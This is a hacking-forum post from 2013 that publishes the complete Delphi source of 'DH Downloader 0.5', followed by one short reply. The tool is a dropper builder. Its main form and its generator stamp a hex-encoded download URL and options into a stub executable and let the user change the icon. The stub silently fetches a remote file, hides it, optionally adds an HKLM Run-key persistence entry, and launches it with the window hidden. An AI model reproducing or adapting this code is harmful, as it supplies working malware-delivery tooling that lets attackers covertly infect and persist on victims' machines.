Author Topic: [Delphi] DH Downloader 0.5  (Read 2017 times)

0 Members and 1 Guest are viewing this topic.

Offline Doddy

  • Serf
  • *
  • Posts: 30
  • Cookies: 20
    • View Profile
[Delphi] DH Downloader 0.5
« on: November 18, 2013, 03:02:01 pm »
A simple Delphi program to download files with the following options:

  • You can change the name of the downloaded file
  • Can be stored in the folder you want
  • You can hide the file
  • Makes the file is started each time you load Windows
  • Can I charge hidden or normal
  • I also made a generator that is intended to put a direct download link like dropbox to download a server where you can also change the icon.


Some pictures:







The codes

Menu

Code: [Select]
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses about, usbmode, generate;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  Form3.Show;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Form4.Show;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close;
end;

end.

// The End ?

USB Mode.

Code: [Select]
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit usbmode;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
  sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;

type
  TForm3 = class(TForm)
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox3: TsGroupBox;
    sCheckBox1: TsCheckBox;
    sEdit2: TsEdit;
    sCheckBox2: TsCheckBox;
    sEdit3: TsEdit;
    sCheckBox3: TsCheckBox;
    sCheckBox4: TsCheckBox;
    sCheckBox5: TsCheckBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sProgressBar1: TsProgressBar;
    IdHTTP1: TIdHTTP;
    procedure sButton1Click(Sender: TObject);
    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

uses about, dh;
{$R *.dfm}
// Functions

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm3.FormCreate(Sender: TObject);
begin
  sProgressBar1.Position := 0;
end;

procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar1.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar1.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  sStatusBar1.Update;
end;

procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
  sProgressBar1.Position := 0;
end;

procedure TForm3.sButton1Click(Sender: TObject);
var
  filename: string;
  nombrefinal: string;
  addnow: TRegistry;
  archivobajado: TFileStream;

begin

  if not sCheckBox1.Checked then
  begin
    filename := sEdit1.Text;
    nombrefinal := getfilename(filename);
  end
  else
  begin
    nombrefinal := sEdit2.Text;
  end;

  archivobajado := TFileStream.Create(nombrefinal, fmCreate);

  try
    begin
      DeleteFile(nombrefinal);
      IdHTTP1.Get(sEdit1.Text, archivobajado);
      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
      sStatusBar1.Update;
      archivobajado.Free;
    end;
  except
    sStatusBar1.Panels[0].Text := '[-] Failed download';
    sStatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

  if FileExists(nombrefinal) then
  begin

    if sCheckBox2.Checked then
    begin
      if not DirectoryExists(sEdit3.Text) then
      begin
        CreateDir(sEdit3.Text);
      end;
      MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
      sStatusBar1.Panels[0].Text := '[+] File Moved';
      sStatusBar1.Update;
    end;

    if sCheckBox3.Checked then
    begin
      SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
      if sCheckBox2.Checked then
      begin
        SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
          FILE_ATTRIBUTE_HIDDEN);

        sStatusBar1.Panels[0].Text := '[+] File Hidden';
        sStatusBar1.Update;
      end
      else
      begin
        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
        sStatusBar1.Panels[0].Text := '[+] File Hidden';
        sStatusBar1.Update;
      end;
    end;

    if sCheckBox4.Checked then
    begin

      addnow := TRegistry.Create;
      addnow.RootKey := HKEY_LOCAL_MACHINE;
      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

      if sCheckBox2.Checked then
      begin
        addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
      end
      else
      begin
        addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
            + '/' + nombrefinal);
      end;

      sStatusBar1.Panels[0].Text := '[+] Registry Updated';
      sStatusBar1.Update;

      addnow.Free;

    end;

    if sCheckBox5.Checked then
    begin

      if sRadioButton1.Checked then
      begin
        if sCheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
            nil, nil, SW_SHOWNORMAL);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
            SW_SHOWNORMAL);
        end;
      end
      else
      begin
        if sCheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
            nil, nil, SW_HIDE);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
        end;
      end;

    end;

    if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
      sCheckBox4.Checked or sCheckBox5.Checked then
    begin
      sStatusBar1.Panels[0].Text := '[+] Finished';
      sStatusBar1.Update;
    end;

  end;

end;

end.

// The End ?

Generator

Code: [Select]
// DH Downloader 0.5
// (C) Doddy Hackman 2013

unit generate;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
  sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;

type
  TForm4 = class(TForm)
    Image1: TImage;
    sStatusBar1: TsStatusBar;

    OpenDialog1: TOpenDialog;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox3: TsGroupBox;
    sEdit2: TsEdit;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sGroupBox6: TsGroupBox;
    sGroupBox7: TsGroupBox;
    Image2: TImage;
    sButton1: TsButton;
    sGroupBox8: TsGroupBox;
    sComboBox1: TsComboBox;
    sGroupBox9: TsGroupBox;
    sCheckBox1: TsCheckBox;
    sEdit3: TsEdit;
    sGroupBox10: TsGroupBox;
    sButton2: TsButton;
    procedure sButton1Click(Sender: TObject);
    procedure sEdit2Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form4: TForm4;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm4.FormCreate(Sender: TObject);
begin

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

end;

procedure TForm4.sButton2Click(Sender: TObject);
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;
  url: string;
  opcionocultar: string;
  savein: string;
  lineafinal: string;
  stubgenerado: string;
  tipodecarga: string;
  change: DWORD;
  valor: string;

begin

  url := sEdit1.Text;
  stubgenerado := 'tiny_down.exe';

  if (sRadioButton2.Checked = True) then
  begin
    tipodecarga := '1';
  end
  else
  begin
    tipodecarga := '0';
  end;

  if (sCheckBox1.Checked = True) then
  begin
    opcionocultar := '1';
  end
  else
  begin
    opcionocultar := '0';
  end;

  if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  begin
    savein := 'USERPROFILE';
  end
  else
  begin
    savein := sComboBox1.Items[sComboBox1.ItemIndex];
  end;

  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
    '[name]' + '[carga]' + tipodecarga + '[carga]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/stub_down.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, PChar(linea));
  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  //

  if not(sEdit3.Text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                + '/' + stubgenerado)), False);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(sEdit3.Text)));
        EndUpdateResourceW(change, False);
        sStatusBar1.Panels[0].Text := '[+] Done ';
        sStatusBar1.Update;
      end;
    except
      begin
        sStatusBar1.Panels[0].Text := '[-] Error';
        sStatusBar1.Update;
      end;
    end;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] Done ';
    sStatusBar1.Update;
  end;

  //

end;

procedure TForm4.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog1.FileName);
    sEdit3.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm4.sEdit2Click(Sender: TObject);
begin
  if not(sEdit1.Text = '') then
  begin
    sEdit2.Text := getfilename(sEdit1.Text);
  end;
end;

end.

// The End ?

El stub

Code: [Select]
// DH Downloader 0.5
// (C) Doddy Hackman 2013

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, URLMon, ShellApi;


// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  link: string;
  todo: string;
  opcion: string;
  path: string;
  nombre: string;
  rutafinal: string;
  tipodecarga: string;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    link := regex(todo, '[link]', '[link]');
    opcion := regex(todo, '[opcion]', '[opcion]');
    path := regex(todo, '[path]', '[path]');
    nombre := regex(todo, '[name]', '[name]');
    tipodecarga := regex(todo, '[carga]', '[carga]');

    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

    try

      begin
        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

        if (FileExists(rutafinal)) then
        begin

          if (opcion = '1') then
          begin
            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
          end;

          if (tipodecarga = '1') then
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
          end
          else
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
          end;
        end;

      end;
    except
      //
    end;

  except
    //
  end;

end.

// The End ?

Available for download here.

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [Delphi] DH Downloader 0.5
« Reply #1 on: November 18, 2013, 03:50:41 pm »
Not bad, I like it :) have a cookie.
btw what's with the skiddy-as-hell interface?
and btw, why delphi? it's been used for malware dev, I know, but it's a dieing language :/